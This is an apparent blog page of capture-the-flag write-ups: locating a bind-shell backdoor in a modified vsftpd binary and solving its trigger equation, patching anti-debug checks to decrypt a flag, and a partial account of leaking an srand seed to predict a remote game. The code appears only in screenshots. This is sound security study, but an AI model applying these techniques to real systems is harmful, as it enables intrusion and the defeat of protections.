I started looking for something weird on the authentication routines, but I didn't found anything significant in a brief period of time, so I decided to do a bindiff, that was the key for locating the backdoor quickly. I do a quick diff of the strings with the command "strings bin | sort -u" and "vimdiff" and noticed that the backdoored binary has the symbol "execl" which is weird because is a call for executing elfs, don't needed for a ftp service, and weird that the compiled binary doesn't has that symbol.</div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgBM11wzfMDB4u4YDL4gyB_AVwE3VAQfoucoNkMc7iqVytOQCwQqJIbhc02F_XDth_aFWwfpqhJKph8p1LMPBsVpwbONFHwl4LNw347jrjO-7iG5-RWsOofWe9c-ucX54CunLc/s1600/vimdiff.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="270" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgBM11wzfMDB4u4YDL4gyB_AVwE3VAQfoucoNkMc7iqVytOQCwQqJIbhc02F_XDth_aFWwfpqhJKph8p1LMPBsVpwbONFHwl4LNw347jrjO-7iG5-RWsOofWe9c-ucX54CunLc/s400/vimdiff.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Looking the xrefs of "execl" on IDA I found that code that is a clear backdoor, it create a socket, bind a port and duplicate the stdin, stdout and stderr to the socket and use the execl:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPnOET2i5JkJ3xlBo9bNsVYCLGNVoUlffPExjwN9Fsf2nArNuLzItnozHqcZ9Ibz9lanifkIHPSx5egfUvqRShF3Esm6hYVCGPDbeK6daQOrUO3emcBlhb0MCxOrZbG1nDyMiP/s1600/ekoparty_backdoor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPnOET2i5JkJ3xlBo9bNsVYCLGNVoUlffPExjwN9Fsf2nArNuLzItnozHqcZ9Ibz9lanifkIHPSx5egfUvqRShF3Esm6hYVCGPDbeK6daQOrUO3emcBlhb0MCxOrZbG1nDyMiP/s400/ekoparty_backdoor.png" width="313" /></a></div>
<div>
<br /></div>
<div>
<br />
<div>
There are one xrefs to this function, the function that decides when trigger that is that kind of systems equations decision:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAWTJWVizZA9W3c1DGnwcrAoHZ3ic5fuWPL5dGnV4QucHR8eS35VS9ZIs3IwKzPTdknQtaD50w34WycT3ANXI9JP5ggcbF__hP13Y6dZbWkq_uf898UOG3RmklpTfCNY09k5wX/s1600/ekoparty_backdoor2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="331" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAWTJWVizZA9W3c1DGnwcrAoHZ3ic5fuWPL5dGnV4QucHR8eS35VS9ZIs3IwKzPTdknQtaD50w34WycT3ANXI9JP5ggcbF__hP13Y6dZbWkq_uf898UOG3RmklpTfCNY09k5wX/s400/ekoparty_backdoor2.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The backdoor was not on the authentication, it was a special command to trigger the backdoor, which is obfuscated on that systems equation, it was no needed to use a z3 equation solver because is a simple one and I did it by hand.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<b>The equation:</b></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[0] = 69</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[1] = 78</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[1] + cmd[2] = 154</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[2] + cmd[3] = 202</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[3] + cmd[4] = 241</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[4] + cmd[5] = 233</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[5] + cmd[6] = 217</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[6] + cmd[7] = 218</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[7] + cmd[8] = 228</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[8] + cmd[9] = 212</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[9] + cmd[10] = 195</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[10] + cmd[11] = 195</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[11] + cmd[12] = 201</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[12] + cmd[13] = 207</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[13] + cmd[14] = 203</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[14] + cmd[15] = 215</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[15] + cmd[16] = 235</i></div>
<div class="separator" style="clear: both; text-align: left;">
<i>cmd[16] + cmd[17] = 242</i></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<b>The solution:</b></div>
<div class="separator" style="clear: both;">
cmd[0] = 69</div>
<div class="separator" style="clear: both;">
cmd[1] = 75</div>
<div class="separator" style="clear: both;">
cmd[2] = 79</div>
<div class="separator" style="clear: both;">
cmd[3] = 123</div>
<div class="separator" style="clear: both;">
cmd[4] = 118</div>
<div class="separator" style="clear: both;">
cmd[5] = 115</div>
<div class="separator" style="clear: both;">
cmd[6] = 102</div>
<div class="separator" style="clear: both;">
cmd[7] = 116</div>
<div class="separator" style="clear: both;">
cmd[8] = 112</div>
<div class="separator" style="clear: both;">
cmd[9] = 100</div>
<div class="separator" style="clear: both;">
cmd[10] = 95</div>
<div class="separator" style="clear: both;">
cmd[11] = 100</div>
<div class="separator" style="clear: both;">
cmd[12] = 101</div>
<div class="separator" style="clear: both;">
cmd[13] = 106</div>
<div class="separator" style="clear: both;">
cmd[14] = 97 </div>
<div class="separator" style="clear: both;">
cmd[15] = 118</div>
<div class="separator" style="clear: both;">
cmd[16] = 117</div>
<div class="separator" style="clear: both;">
cmd[17] = 125</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div>
<br /></div>
</div>
<div>
<b>The flag:</b></div>
<div>
EKO{vsftpd_dejavu}<br />
<br />
<b>The binary:</b><br />
https://ctf.ekoparty.org/static/pre-ekoparty/backdoor</div>
<div>
<br /></div>
<div>
<br /></div>
Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-17529730942480520432015-12-21T02:17:00.000+01:002019-10-31T09:52:44.489+01:00NcN 2015 CTF - theAnswer writeup<br />
<b>1. Overview</b><br />
<br />
Is an elf32 static and stripped binary, but the good news is that it was compiled with gcc and it will not have shitty runtimes and libs to fingerprint, just the libc ... and libprhrhead<br />
This binary is writed by Ricardo J Rodrigez<br />
<br />
When it's executed, it seems that is computing the flag:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1s-xrHvCL1J-jM_UMglXXfmJKpYw6wKi4YbkbXeqnnoyp4m9IoYLz9Glyqo-6MLN3pBEGptXYhAZ1JjXq-FPpfm0ZixGPVA-_ZZIXLnaGyDn8Hvkzhk9Ym-BJdnSLoBBOKnK2/s1600/computing.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="38" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1s-xrHvCL1J-jM_UMglXXfmJKpYw6wKi4YbkbXeqnnoyp4m9IoYLz9Glyqo-6MLN3pBEGptXYhAZ1JjXq-FPpfm0ZixGPVA-_ZZIXLnaGyDn8Hvkzhk9Ym-BJdnSLoBBOKnK2/s400/computing.png" width="400" /></a></div>
<br />
But this process never ends .... let's see what strace say:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJmaoXqVzX6DA4A4ykNwa7akj-5C1fbS7jeIabnYWFbCH5eI6d9o7jgxf41W819Pyd0YPreSvXm-iJfPaCdwhsF-wte57WWLEvHxuhmQtLv-oX3KecbElhCAXu5DNmA8WzZkFQ/s1600/strace.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="61" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJmaoXqVzX6DA4A4ykNwa7akj-5C1fbS7jeIabnYWFbCH5eI6d9o7jgxf41W819Pyd0YPreSvXm-iJfPaCdwhsF-wte57WWLEvHxuhmQtLv-oX3KecbElhCAXu5DNmA8WzZkFQ/s400/strace.png" width="400" /></a></div>
<br />
There is a thread deadlock, maybe the start point can be looking in IDA the xrefs of 0x403a85<br />
Maybe we can think about an encrypted flag that is not decrypting because of the lock.<br />
<br />
This can be solved in two ways:<br />
<br />
<ul>
<li>static: understanding the cryptosystem and programming our own decryptor</li>
<li>dynamic: fixing the the binary and running it (hard: antidebug, futex, rands ...)</li>
</ul>
<br />
<br />
At first sight I thought that dynamic approach were quicker, but it turned more complex than the static approach.<br />
<br />
<br />
<b>2. Static approach</b><br />
<br />
Crawling the xrefs to the futex, it is possible to locate the main:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5MOxbW3np0Vz4rHbs1ImYBnN05SvjiiEE0HA7qwueDDp4PuWn-DDQnVv1lJxMxmQ1je_AEp92rSzTyC-uBtsf8O11JqCLhFYYlrQgQYVfr1PtotS1Mfn1r31nSk_5nTKDhnvz/s1600/futex_call.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5MOxbW3np0Vz4rHbs1ImYBnN05SvjiiEE0HA7qwueDDp4PuWn-DDQnVv1lJxMxmQ1je_AEp92rSzTyC-uBtsf8O11JqCLhFYYlrQgQYVfr1PtotS1Mfn1r31nSk_5nTKDhnvz/s400/futex_call.png" width="400" /></a></div>
<br />
<br />
With libc/libpthread function fingerprinting or a bit of manual work, we have the symbols, here is the main, where 255 threads are created and joined, when the threads end, the xor key is calculated and it calls the print_flag:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-8MCGObu-Bs6EUFSUh0UJ04U9Tt_yYPQQnrDEJWaysREgKzemWjTRTjbnRkyXMbnavN6r5u9ST73ZYX7UPI5sVYfzSyJ8VIVcUlY410d1ionTRajhrgWWXacQrtkK3TsCTK3c/s1600/ida_base_code.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-8MCGObu-Bs6EUFSUh0UJ04U9Tt_yYPQQnrDEJWaysREgKzemWjTRTjbnRkyXMbnavN6r5u9ST73ZYX7UPI5sVYfzSyJ8VIVcUlY410d1ionTRajhrgWWXacQrtkK3TsCTK3c/s400/ida_base_code.png" width="386" /></a></div>
<br />
<br />
The code of the thread is passed to the <i>libc_pthread_create</i>, IDA recognize this area as data but can be selected as code and function.<br />
<br />
This is the thread code decompiled, where we can observe two infinite loops for <i>ptrace</i> detection and <i>preload</i> (although is static) this antidebug/antihook are easy to detect at this point.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJNy9lBD2bgnvVD_qNe9PwG0d4pmDqTo2_l-wxer-tejRtos0OUoluaSOcZ7gB6Fir0X3QUK9qQ2FEJRMjcQ-2n1Gr1U9Tn8oW1PPtVjKWGnt_MbpnpbeQqK7T2zQkh2OWDyuP/s1600/ida_last_decompiled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="327" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJNy9lBD2bgnvVD_qNe9PwG0d4pmDqTo2_l-wxer-tejRtos0OUoluaSOcZ7gB6Fir0X3QUK9qQ2FEJRMjcQ-2n1Gr1U9Tn8oW1PPtVjKWGnt_MbpnpbeQqK7T2zQkh2OWDyuP/s400/ida_last_decompiled.png" width="400" /></a></div>
<br />
we have to observe the important thing, is the key random?? well, with the same seed the random sequence will be the same, then the <u>key is "hidden" in the predictability of the random</u>.<br />
<br />
If the threads are not executed on the creation order, the key will be wrong because is <i>xored</i> with the th_id which is the identify of current thread.<br />
<br />
The print_key function, do the xor between the key and the flag_cyphertext byte by byte.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2iHfhWzXLB3Fm-HMUKrZOaZwbiuc4UMss8xlZzTae0XdAqbmw58HpHpgCyiyO9iUVECjJbpSKRGVXG9QgaNjyB7FG1UUpsNr_kE8eevlrCy_ynhmXAcHDhz4E-kTJbqLC6aay/s1600/the_xor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2iHfhWzXLB3Fm-HMUKrZOaZwbiuc4UMss8xlZzTae0XdAqbmw58HpHpgCyiyO9iUVECjJbpSKRGVXG9QgaNjyB7FG1UUpsNr_kE8eevlrCy_ynhmXAcHDhz4E-kTJbqLC6aay/s400/the_xor.png" width="400" /></a></div>
<br />
And here we have the seed and the first bytes of the cypher-text:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwtp88VnMLpViY0gDA3JUb1hZmL0hK3HwaObxOH3Cbp7Ix1mbsDcBcL9Go6M3m5C5NKYgK8XwFcr6KFfxf6QRrJElYnUKBEiHEQaQWV5Gesbkw4F_799zVyaQUKn4mmw1Mwl_6/s1600/cyphertext.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwtp88VnMLpViY0gDA3JUb1hZmL0hK3HwaObxOH3Cbp7Ix1mbsDcBcL9Go6M3m5C5NKYgK8XwFcr6KFfxf6QRrJElYnUKBEiHEQaQWV5Gesbkw4F_799zVyaQUKn4mmw1Mwl_6/s400/cyphertext.png" width="400" /></a></div>
<br />
<br />
With radare we can convert this to a c variable quickly:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhknOWkrs2V74T4cnXFiLd0r6yp18qCqZHudQXecQ3x77ad9boS7WK_FKHEUxYpjjcXFWu6VDHpFwSsutxliPPeXbPuMDRO893BHNJfz8u_2VFAJjqTEJwgmCzrspw5f-7-zkqY/s1600/r2_power.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="60" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhknOWkrs2V74T4cnXFiLd0r6yp18qCqZHudQXecQ3x77ad9boS7WK_FKHEUxYpjjcXFWu6VDHpFwSsutxliPPeXbPuMDRO893BHNJfz8u_2VFAJjqTEJwgmCzrspw5f-7-zkqY/s400/r2_power.png" width="400" /></a></div>
<br />
And here is the flag cyphertext:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRYliPwUzG6cmQQhK34IpISb5Y0OsqhkB7O7kAnaGRkgOQWj9ci9qN7-ZXOxKOSpKrCMim09HOBEW_PmohdeKEGRjudmFVdB9oupsFs-aZaryp1s0aQVam0tK1SRc68KpzBJlC/s1600/r2_power2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="102" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRYliPwUzG6cmQQhK34IpISb5Y0OsqhkB7O7kAnaGRkgOQWj9ci9qN7-ZXOxKOSpKrCMim09HOBEW_PmohdeKEGRjudmFVdB9oupsFs-aZaryp1s0aQVam0tK1SRc68KpzBJlC/s400/r2_power2.png" width="400" /></a></div>
<br />
And with some radare magics, we have the c initialized array:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNs0fWPDWeMCttqhIo_8B2TGfj_Mq5AAs0BBOIUpGiB09MsvHeRZjBTHszvgLd9UfyeIKjGr7Xri_aQ3W5mPIoVgcI793eFl9CctzftXetrVUeQO0k3dJBWGDXiyEZACbjKdJ9/s1600/r2_power3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="151" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNs0fWPDWeMCttqhIo_8B2TGfj_Mq5AAs0BBOIUpGiB09MsvHeRZjBTHszvgLd9UfyeIKjGr7Xri_aQ3W5mPIoVgcI793eFl9CctzftXetrVUeQO0k3dJBWGDXiyEZACbjKdJ9/s400/r2_power3.png" width="400" /></a></div>
<br />
radare, is full featured :)<br />
<br />
With a bit of rand() calibration here is the solution ...<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioXMarqfUh2wZr-RLEo2fUV5i8JbAXT7SZwsGvYJ3n9ssUbV7FDfkLYQzbmQ3_ofDuFl4h-et1DB6L73GBKj2lRSPnSdHnP-gijgzcx71pfr8FgM5JIi020M7EJY1XLUWDxMt3/s1600/the_reponse1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="381" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioXMarqfUh2wZr-RLEo2fUV5i8JbAXT7SZwsGvYJ3n9ssUbV7FDfkLYQzbmQ3_ofDuFl4h-et1DB6L73GBKj2lRSPnSdHnP-gijgzcx71pfr8FgM5JIi020M7EJY1XLUWDxMt3/s400/the_reponse1.png" width="400" /></a></div>
<br />
<br />
The code:<br />
<a href="https://github.com/NocONName/CTF_NcN2k15/blob/master/theAnswer/solution.c" target="_blank">https://github.com/NocONName/CTF_NcN2k15/blob/master/theAnswer/solution.c</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF3MuYB5fxAzxyrTqp9zpsp8kFWTkt5wB1fjpG-D7hqEwL92zpKFvVpK2uWC0eOimnGKIK1Pxuh1pmwuPdTGVAHxhUdFTaJSygWugeSPiEI4NCf8RlJhHfvAjHEB57lNbq9ozU/s1600/solution.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="17" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF3MuYB5fxAzxyrTqp9zpsp8kFWTkt5wB1fjpG-D7hqEwL92zpKFvVpK2uWC0eOimnGKIK1Pxuh1pmwuPdTGVAHxhUdFTaJSygWugeSPiEI4NCf8RlJhHfvAjHEB57lNbq9ozU/s400/solution.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<br />
<br />
<b>3. The Dynamic Approach</b><br />
<br />
First we have to patch the anti-debugs, on beginning of the thread there is two evident anti-debugs (well anti <i>preload</i> hook and anti <i>ptrace</i> debugging) the infinite loop also makes the anti-debug more evident:<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUgIZSqdewso9nShbkLfL3FRwbdWrZNOGZ4TcO4bE7yDPL75bLWlYOsC9m7TXmXoRIIJQD3xJGQw1G5ZnzvrJRCnA7cFQ3XUrwuwdSgNyCvdo2RaSqzOTxZLk8ZDp2O8o77eA0/s1600/ida_thrad_antidebugs.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUgIZSqdewso9nShbkLfL3FRwbdWrZNOGZ4TcO4bE7yDPL75bLWlYOsC9m7TXmXoRIIJQD3xJGQw1G5ZnzvrJRCnA7cFQ3XUrwuwdSgNyCvdo2RaSqzOTxZLk8ZDp2O8o77eA0/s400/ida_thrad_antidebugs.png" width="336" /></a></div>
<br />
<br />
There are also a third anti-debug, a bit more silent, if detects a debugger trough the first available descriptor, and here comes the fucking part, don't crash the execution, the execution continues but the seed is modified a bit, then the decryption key will not be ok.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxUXJptOJd-8BF24hToDbYCKmqsuTyiUABP-iGQ-yKP26K6bE_2_fXGffZCF0Eq1LvpaFaK9Cw_ig9hZAXZ6BCm9rZXT-mMWd8ANLMmGfI-qQv6eefxgGul9vR-c9pnBDEm2SB/s1600/trace_open.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="35" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxUXJptOJd-8BF24hToDbYCKmqsuTyiUABP-iGQ-yKP26K6bE_2_fXGffZCF0Eq1LvpaFaK9Cw_ig9hZAXZ6BCm9rZXT-mMWd8ANLMmGfI-qQv6eefxgGul9vR-c9pnBDEm2SB/s400/trace_open.png" width="400" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVLbX9nb4LIhO0OEbUw_VdVDkEYPl_yR_09RSnM9rumVTZDV06m_A7N00FQtsv96ltagH6aaou03cbXiazozjGTVorTDrOCCW6KkQYRSO6TY0Y6-MBmydrGDp-vb-LjSEQVZhA/s1600/ida_open.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVLbX9nb4LIhO0OEbUw_VdVDkEYPl_yR_09RSnM9rumVTZDV06m_A7N00FQtsv96ltagH6aaou03cbXiazozjGTVorTDrOCCW6KkQYRSO6TY0Y6-MBmydrGDp-vb-LjSEQVZhA/s400/ida_open.png" width="338" /></a></div>
<br />
<br />
Ok, the seed is incremented by one, this could be a normal program feature, but this is only triggered if the fileno(open("/","r")) > 3 this is a well known anti-debug, that also can be seen from a traced execution.<br />
<br />
Ok, just one byte patch, seed+=1 to seed+=0, (add eax, 1 to add eax, 0)<br />
<br />
before:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixDb-Y4Cec74dozgoHhyphenhyphenl17kpkriQRrRzJ64e3-knd2GYb7BgpxFqUwg0exlHkhvd0YfIWVOMJ0YSCqLl3XpjHg-vDqxuwt4-JT3J0NpOc5PzUEw54wsxxeJPpirVp7STimzZQ/s1600/radare_antidebug_open.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixDb-Y4Cec74dozgoHhyphenhyphenl17kpkriQRrRzJ64e3-knd2GYb7BgpxFqUwg0exlHkhvd0YfIWVOMJ0YSCqLl3XpjHg-vDqxuwt4-JT3J0NpOc5PzUEw54wsxxeJPpirVp7STimzZQ/s400/radare_antidebug_open.png" width="400" /></a></div>
<br />
after:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL9TbtdWFt5rc7opY0olP_T67_SSorlP6B3TM2eD53T1wzCLsEVC3iJ_OjJo3V0VrRnpP_cPWjnWoZP7kxW6ElqJb33hk2oNRVMa8malyiXg9I-7UXuqftstS1pO9kc-_JkKl8/s1600/radare_antidebug_open_patched.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="273" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL9TbtdWFt5rc7opY0olP_T67_SSorlP6B3TM2eD53T1wzCLsEVC3iJ_OjJo3V0VrRnpP_cPWjnWoZP7kxW6ElqJb33hk2oNRVMa8malyiXg9I-7UXuqftstS1pO9kc-_JkKl8/s400/radare_antidebug_open_patched.png" width="400" /></a></div>
<br />
<br />
To patch the two infinite loops, just nop the two bytes of each jmp $-0<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkP3Xr87u0jA5HTGP_Yqa-1_GBIRUB2aB3LbLri-0jZSwiSFEpzOYxEAhjxjfI-0lNyDXnZx_cKm4kfgqD5iXstph-8KUOL4ROyzETDr6M2ccNG8A2FbTmjqRA6CEHEEwleT7u/s1600/radare_thread_antidebugs_noped.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="293" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkP3Xr87u0jA5HTGP_Yqa-1_GBIRUB2aB3LbLri-0jZSwiSFEpzOYxEAhjxjfI-0lNyDXnZx_cKm4kfgqD5iXstph-8KUOL4ROyzETDr6M2ccNG8A2FbTmjqRA6CEHEEwleT7u/s400/radare_thread_antidebugs_noped.png" width="400" /></a></div>
<br />
<br />
Ok, but repairing this binary is harder than building a decryptor, we need to fix more things:<br />
<br />
<ul>
<li> The sleep(randInt(1,3)) of the beginning of the thread to execute the threads in the correct order</li>
<li> Modify the pthread_cond_wait to avoid the futex()</li>
<li>We also need to calibrate de rand() to get the key (just patch the sleep and add other rand() before the pthread_create loop</li>
</ul>
<div>
Adding the extra rand() can be done with a patch because from gdb is not possible to make a call rand() in this binary.</div>
<div>
<br /></div>
<div>
With this modifications, the binary will print the key by itself. </div>
<div>
<br /></div>
Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com1tag:blogger.com,1999:blog-34286802.post-71867197398102910192015-05-18T14:03:00.000+02:002016-11-14T14:48:35.905+01:00ASIS CTF Quals 2015 - sawthis writeup - srand remote prediction<br />
The remote service ask for a name, if you send more than 64 bytes, a memory leak happens.<br />
The buffer next to the name's is the first random value used to init the srand()<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFgaehSt1GClrkQD-yDM87Iprw9HeXNp25mYa8qKemewROb2AqdDr8RIeLz7uqyjkDBRF_ERupBBp1CfrqBUSYvJ8vpwZlRFqAOBeg6cB2i1jDprPCySI9VG81K-DsmXbYfyhW/s1600/leak_identify.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFgaehSt1GClrkQD-yDM87Iprw9HeXNp25mYa8qKemewROb2AqdDr8RIeLz7uqyjkDBRF_ERupBBp1CfrqBUSYvJ8vpwZlRFqAOBeg6cB2i1jDprPCySI9VG81K-DsmXbYfyhW/s400/leak_identify.png" width="400" /></a></div>
<br />
If we get this value, and set our local srand([leaked] ^ [luckyNumber]) we will be able to predict the following randoms and win the game, but we have to see few details more ;)<br />
<br />
The function used to read the input until the byte \n appears, but also up to 64 bytes, if we trigger this second condition there is not 0x00 and the print shows the random buffer :)<br />
<br />
The nickname buffer:<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE9ptoC6AZqsNd-9ZAT-BaFPwg86zEaAbNwdgJNaeVrhKg2xVGVGF3pqxRihUSrGXBgGiPTpdvF3GPWayKDkxpj5WceFYGOYZjVNvvkewNnuFtVMYd-W_ml9eNH63CxvSgHedH/s1600/nickBuffer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE9ptoC6AZqsNd-9ZAT-BaFPwg86zEaAbNwdgJNaeVrhKg2xVGVGF3pqxRihUSrGXBgGiPTpdvF3GPWayKDkxpj5WceFYGOYZjVNvvkewNnuFtVMYd-W_ml9eNH63CxvSgHedH/s400/nickBuffer.png" width="400" /></a><br />
<br />
The seed buffer:<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX1rWDvNAuZBn16NKZdIk58RknrYTZApCCAoCsxEqn5wcPjkxhDOHzr0IOSXjF2PNiGHZj37PZPu3JJkgzR34GHjrQ4ojbJkeZOgAE_2dXVUuFiW0pzKYNdP63DoM00HRaWGba/s1600/seedBuffer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="162" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX1rWDvNAuZBn16NKZdIk58RknrYTZApCCAoCsxEqn5wcPjkxhDOHzr0IOSXjF2PNiGHZj37PZPu3JJkgzR34GHjrQ4ojbJkeZOgAE_2dXVUuFiW0pzKYNdP63DoM00HRaWGba/s400/seedBuffer.png" width="400" /></a><br />
<br />
So here it is clear, but let's see that the random values are computed with several gpu instructions which are decompiled incorrectly:<br />
<br />
<br />
